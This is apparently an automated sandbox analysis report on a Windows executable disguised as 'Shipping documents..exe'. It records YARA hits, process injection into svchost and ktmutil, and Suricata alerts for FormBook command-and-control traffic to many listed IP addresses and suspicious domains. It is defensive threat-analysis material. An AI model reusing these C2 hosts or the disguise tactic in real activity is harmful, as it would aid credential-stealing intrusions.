Windows Analysis Report
Shipping documents..exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4571453200.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568813272.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2433270626.0000000003560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568990359.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2432620170.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4568829458.00000000051E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4559476128.0000000002980000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2437565309.0000000006600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Shipping documents..exe

Joe Sandbox ML: detected

Source: Shipping documents..exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: FuFneNIzDsF.exe, 00000004.00000002.4559487578.00000000003CE000.00000002.00000001.01000000.00000005.sdmp, FuFneNIzDsF.exe, 00000008.00000000.2507028325.00000000003CE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Shipping documents..exe, 00000000.00000003.2122204716.0000000004600000.00000004.00001000.00020000.00000000.sdmp, Shipping documents..exe, 00000000.00000003.2116752681.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339806814.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337559785.0000000003300000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.00000000034BE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.0000000003320000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2443745959.0000000003178000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2441691233.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: srdelayed.pdbGCTL source: FuFneNIzDsF.exe, 00000004.00000003.2377105462.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Shipping documents..exe, 00000000.00000003.2122204716.0000000004600000.00000004.00001000.00020000.00000000.sdmp, Shipping documents..exe, 00000000.00000003.2116752681.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2433300541.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339806814.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433300541.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337559785.0000000003300000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000006.00000002.4569169895.00000000034BE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569169895.0000000003320000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2443745959.0000000003178000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2441691233.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000002.00000002.2433159494.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433135384.0000000003000000.00000004.00000020.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000003.2377390282.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: svchost.exe, 00000002.00000002.2433159494.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2433135384.0000000003000000.00000004.00000020.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000004.00000003.2377390282.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: srdelayed.pdb source: FuFneNIzDsF.exe, 00000004.00000003.2377105462.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DC3000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569488926.000000000394C000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000325C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.000000001566C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DC3000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4569488926.000000000394C000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000325C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.000000001566C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0299C810 FindFirstFileW,FindNextFileW,FindClose,	6_2_0299C810

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then xor eax, eax	6_2_02989F20
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then pop edi	6_2_0298E50B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_031C04DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49911 -> 154.92.61.37:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49911 -> 154.92.61.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49998 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49989 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50002 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49987 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49997 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49985 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50016 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50016 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49988 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49986 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50008 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50007 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49986 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50001 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49984 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49999 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50015 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50008 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50011 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50039 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50036 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50000 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50024 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49996 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50009 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49993 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50031 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50034 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49999 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50006 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50033 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50033 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49990 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49983 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49990 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50018 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50012 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50005 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50012 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50017 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50032 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50014 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50023 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50035 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50021 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50038 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49994 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50019 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50022 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50010 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49995 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49995 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50024 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50003 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50003 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50013 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50020 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50020 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50029 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50029 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50028 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50027 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49991 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50026 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50030 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50037 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50037 -> 188.114.97.3:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.huiguang.xyz
Source:	DNS query: www.schedulemassage.xyz
Source:	DNS query: www.030002128.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 161.97.142.144 161.97.142.144
Source: Joe Sandbox View	IP Address: 203.161.49.193 203.161.49.193

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:49753
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:49957

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 06 Nov 2024 07:41:07 GMTserver: Apacheset-cookie: __tad=1730878867.8996817; expires=Sat, 04-Nov-2034 07:41:07 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 06 Nov 2024 07:41:09 GMTserver: Apacheset-cookie: __tad=1730878869.5521474; expires=Sat, 04-Nov-2034 07:41:09 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y
